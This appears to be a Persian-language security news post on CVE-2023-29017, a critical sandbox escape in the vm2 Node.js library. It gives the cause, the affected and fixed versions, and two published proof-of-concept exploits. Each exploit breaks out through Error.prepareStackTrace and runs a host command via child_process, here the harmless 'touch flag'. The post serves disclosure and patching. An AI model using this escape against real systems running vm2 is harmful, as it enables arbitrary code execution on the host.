اکسپلویت PoC، آسیب پذیری به شناسه CVE-2023-29017 و امتیاز 10 و شدت بحرانی در کتابخانه VM2 که اخیرا کشف و گزارش شده بود ، منتشر و در دسترس عموم قرار گرفته .
کتابخانه VM2 یه سندباکس جاوااسکریپت هستش . این سندباکس باعث اجرای کدهای غیرقابل اعتماد در یه محیط ایزوله در سرورهای Node.js میشه. این باعث عدم دسترسی غیر مجاز به منابع سیستم و داده های خارجی میشه.
تقریبا ماهانه 16 میلیون بار از طریق NPM دانلود میشه و در محیط های مختلفی مانند IDEها و ویرایشگرهای کد ، function-as-a-service (FaaS) ، فریمورکهای تست نفوذ ، ابزارهای امنیتی و محصولات مختلف جاوااسکریپت مورد استفاده قرار میگیره.
آسیب پذیری به این دلیل رخ میده که وقتی یه خطای asynchronous رخ میده، این کتابخونه نمیتونه به درستی host object هایی که به تابع Error.prepareStackTrace ارسال میشن، مدیریت کنه. مهاجم با اکسپلویت این آسیب پذیری میتونه سندباکس دور بزنه و در محیط میزبان کد دلخواه اجرا کنه. آسیب پذیری توسط محققین موسسه علوم و فناوری پیشرفته کره (KAIST) کشف و گزارش شده.
نسخه های تحت تاثیر:
VM2 from 3.9.14 and older
نسخه اصلاح شده:
VM2 3.9.15
اکسپلویت PoC این آسیب پذیری:
بعد از انتشار نسخه جدید، Seongil Wi از KAIST دو نسخه اکسپلویت برای این آسیب پذیری منتشر کرده. این اکسپلویتها یه فایل بنام flag رو روی میزبان ایجاد میکنن.
جزییات محیطی که محقق روش تست زده :
1 2 |
vm2 version: 3.9.14 (latest version) Node version: 18.15.0, 19.8.1, 17.9.1, ... |
اکسپلویت اول :
1 2 3 4 5 6 7 8 9 10 11 |
const {VM} = require("vm2"); let vmInstance = new VM(); const code = ` Error.prepareStackTrace = (e, frames) => { frames.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag'); }; (async ()=>{}).constructor('return process')() ` vmInstance.run(code); |
اکسپلویت دوم:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
const {VM} = require("vm2"); let vmInstance = new VM(); const code = ` Error.prepareStackTrace = (e, frames) => { frames.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag'); }; async function aa(){ eval("1=1") } aa() ` vmInstance.run(code); |